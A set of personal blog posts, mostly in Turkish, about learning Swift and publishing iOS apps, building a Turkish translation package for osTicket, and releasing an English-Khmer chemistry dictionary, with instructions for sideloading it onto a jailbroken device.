Programı yayınladıktan sonra öğrencilerin bazıları iOS versiyonunu istediler. Bende bu şekilde biraz merak biraz bu tip yeni şeyleri inceleme isteğinden iOS programlama dünyasına daldım. iOS da program yazabilmek için MAC işletim sistemine ihtiyacımız var. Ben şu ana kadar hep PC kullanmıştım. Sadece bir heves için MAC almayı da çok mantıklı bulmadım. Bu yüzden eski HP laptopuma Hackintosh denilen yöntemle Mavericks yükledim. Daha sonra github ve google u kullanarak bir şekilde 1-2 ay içinde iPhone ve iPad lerde çalışan bir programı yazdım. Bittiğinde gerçekten bu bana bir başarma duygusu verdi. Yazdığın programı hemen cep telefonundan erişmek hoşuma gitmişti. Ben de iOS a eğilmeye karar verdim.

Apple tam o sıralar iOS 8 i ve yeni bir programlama dili olan Swift i duyurdu. Objective C nin parantezlerinden bıktığımdan bu yeni dili öğrenmeye karar verdim. Öncelikle 15$ a Udemy de iOS kursu satın aldım. Ben aldım ama sakın siz almayın. Nedeni kursu veren kişi bir Web Developer ve öğrendiği kadar Swift anlatmış. Aşırı derecede kötü kodlar ve buna bağlı alışkanlıkları size öğretiyor. Bunu anlamam biraz uzun sürdü ve sanırım kursun yarısından sonra bıraktım. Eğer video kurslarından ben iyi öğreniyorum diyorsanız, iTunes U da Paul Hegarty in Swift kursu var onu şiddetle tavsiye ederim. Kendisi Apple ın temellerini oluşturan Next Systems de çalıştığı için API lerini tarihini biliyor ve şiir gibi kod yazıyor.

Bir şeyi öğrenmenin bence iki yolu var; 1) Öğretmek 2) Pratik. Benim gibi bir öğretmenden Swift öğrenecek birini bulamadığım için ben de ufak tefek bir şeyler yazmaya karar verdim. İlk başta önceden bahsettiğim kursa bağlı programlar yazdım ama o programlar gerçek hayatta hiç bir kullanımı olmayan Kedi Yaşı(Kedi canını yisinler) hesaplaması gibi ya çok basit programlardı veya Hava Durumu gibi çok genel fikirlerdi. Kardeşime yardım olması bakımından bende interaktif bir belediye uygulaması yazmaya başladım. İşte bu aşamada artık bir şeyler öğrenmeye başlamıştım. En basit şeylerin günlerimi aldığı zamanlardı. Stackoverflow sağ olsun uzun sürdü ama çok büyük deneyim kazandım.

Sonradan sadece kendi isteğim doğrultusunda bir program yazmaya karar verdim. App Store un öne çıkan uygulamalar kısmında Deliveries diye bir programı görmüştüm. Program 10-15 tane kargo şirketini destekleyen bir kargo takip programı. Program oldukça basit olmasına rağmen ilk program olduğundan aşırı derece de rağbet görüyordu. Ben de Kargo ile alakalı Türkiyede bir program yazılmış mı diye baktım ama bulamadım. Aslında varmış ama ben İngilizce App Store kullandığımdan arama sonuçlarında çıkmıyordu. Bu gazla programı geliştirmeye başladım. Yüzlerce kargo şirketi olduğundan sadece Türkiyedeki bütün firmalar ve yurtdışındaki belli başlı firmalara odaklandım. 2015 Ocak ayında başladım ve programın App Store da gözükmesi Ağustos ayını buldu. Şubat ayında Swift 1.2 çıktığında bana bayağı bir baş ağrısı vermişti. O kadar kodu yeniden düzenlemem gerekti. Program aslında Nisan gibi bitti daha doğrusu ben öyle zannettim. iOS 7 üstü bütün cihazları desteklememe rağmen sadece iPhone 5S ve iPhone 6 ile test etmiştim. Meğerse ne kadar bug varmış :) iOS 7 de programı açtığımda program anında göçmüştü. Mayısa kadar programı çalışır hale getirmekle uğraştım.

Bundan sonraki aşama App Store a yüklemek. Öncelikle App Store a paşa paşa yıllık 99$ bayılmanız gerekiyor. Benim için bu uzun zaman aldı. Çünkü önce bankadan debit hesabı açtırdım. Fakat “güvenli” bankamız debit kart ile 3D güvenlik olmayan yerlerden alışveriş yaptırtmıyor. Belki bir gün bu ismi bende mahfuz “güvenli” bankamızın iOS programının ne kadar “güvenli” olduğu ile akalalı bir yazı yazabilirim. Neyse en sonunda Ağustos gibi App Store da iki programım yayınlanmaya başlandı. Yazdığım kargo takip programı Kargom Nerde bana çok şeyler öğretti. Öncelikle Swift dilini öğrenmeme yardımcı oldu. Daha sonra Software Testing in gerçekten önemli bir şey olduğunu anladım. Eskiden her bir kargo şirketini manuel olarak test ediyordum(Çaylak alarmı!!!). Şu an ben de artık Unit Testing yapıyorum. Eylül 2015 gibi Swift 2 dili çıkacak ve yine yeni şeyler öğrenmem ve eski yazdığım kodları tekrar dan düzenlemem gerekecek. Fakat bu sürekli yeni şeyleri öğrenebilme hali beni gerçekten motive ediyor. Bu yazıyı yazma nedenim günlük 20 kişiye varan devasa kitleme şu mesajı vermek:
Yeni bir şey öğrenmek için eğer ölmediyseniz hala geç kalmış sayılmazsınız.

Kargom Nerde:
Stanford Swift Kursu:

osTicket Türkçe Çevirisi

Bu benim ilk Türkçe içerikli yazım o yüzden işe yarar birşey hakkında yazayım dedim. Kardeşimin bir işi için bir destek yazılım sistemine ihtiyacımız vardı ve açık kaynak kodlu bir destek yazılımı olan osTicket‘ta karar kıldık. Fakat kardeşimin İngilizcesi olmadığından yazılımı iyi bir şekilde kullanamıyordu. osTicket’ın eski versiyonları bir ara Türkçeye çevrilmiş ama 1.9 versiyonu için oldukça fazla eksik vardı. Bayağı uzun süren bir çalışmadan sonra 4 gün önce çeviriyi bitirdim. Bayağı uğraştığımı söylemek zorundayım. Çevirdiğim onca satıra ilaveten ayrıca yanlış ve eksik çevirileri de değiştirmek zorunda kaldım. Gerçekten birisi ‘Agent’ keilmesini neden ‘Agent’ diye çevirir anlayabilmiş değilim. Türkçe konuşan Şotanın röportajını Türkçeye çeviren muhabir aklıma geldi.

Çeviriyi kontrol etmek ve gördüğünüz hataları düzenlemek için bu adrese gidebilirsiniz. Yeterli kişi onayladığı zaman bu çeviri osTicket’ın çeviri paketlerine eklenecektir. Eğer siz de benim gibi bu kadar bekleyemem derseniz size bu işi kendi başınıza nasıl yapacağınızı anlatayım.

  1. Bu siteden bütün çeviri dosyalarını tek tek indirin.
  2. Sitede olduğu gibi aynı klasörleri oluşturun ve indirdiğiniz dosyaları doğru yerlerine kopyalayın.
  3. Bu siteye gidin ve messages.po dosyasını ‘Convert .po to .mo’ ile çevirin ve oluşan dosyayı şeklinde kaydedin.
  4. osTicket yazılımın içindeki include/class.translation.php dosyası ile şu komutları yazarak dosyasını oluşturun
    php include/class.translation.php >
    Hata oluşup oluşmadığını anlamak için dosyasının içeriğine bakın
  5. Oluşan bu dosyayı çevirinizin içindeki LC_MESSAGES klasörüne kopyalayın ve bu klasörde eğer varsa messages.po dosyasını silin.
  6. En son olarak phar-util i indirin aşağıdaki komutlar ile .phar dosyasını oluşturun
    phar-build.bat -s /ceviri-klasorunun-adresi -n
  7. Oluşan dosyayı osTicket klasörünün /include/i18n/ klasörüne kopyalayın.

Eğer hata yapmadıysanız oluşan klasörün boyutu 340 KB civarı olacaktır. İyi günlerde kullanmanız dileğiyle.

English-Khmer Chemistry Dictionary for iOS

As I told you before, I would publish iOS version of the dictionary if people keep editing the wiki. After I released PC version, I checked the wiki. Guess how many people edited the wiki? Let me give you a hint, it is less than 1 :) I realized that, this wiki won’t mature in near future. So I decided take one more thing off my bucket list.
Let’s talk about the dictionary. Unfortunately, I didn’t/don’t know much about Objective-C and iPhone programming. I read lots of code, installed Yosemite to my old HP PC(hint:hackintosh) and start learning it. After a month, and banging my head more than I can remember, I made something that worked. You should have seen me when it worked. Haha silly me. Anyway, I hope it also works for you. It is a universal app that should work both on iPhone and iPad which has iOS 7 or above. I tested on iPhone 5s and iPad Air and it worked. Since I don’t have a developer account, you need a jailbroken device to install this.

  1. First of all, jailbreak your device.
  2. Open Cydia and install Apple File Conduit “2”. Reboot.
  3. Open Cydia and add repo and install AppySync Unified v5.2-1 or above
  4. Finally, grab Dictionary.ipa file and install with iFunBox.


I got a developer account and released the dictionary as free on App Store.


English-Khmer Chemistry Dictionary

For a long time, I tried to make English-Khmer chemistry dictionary to help Khmer students. I setup a WIKI at ask students to fill it with chemistry terms. In the beginning, it was progressing very well. However, after some time, students stopped entering new words and project stopped. When I began this project, I promised my students that I will release dictionary as a software and put the name of most contributing students to about box of software. I was waiting for WIKI to mature. I found out that this is not going happen soon. Therefore, Today I give you Jericho my dictionary software. I know there are some bad entries or poor translations. However, I don’t know which ones and I hope someone who knows Khmer, English and some Chemistry edit the WIKI and fix those errors. If people start editing the WIKI, I may release updated version of this software. Anyway, I hope you like the software.

PS: Software only works on Windows. If dictionary matures, I will release iOS version :)

Download Dictionary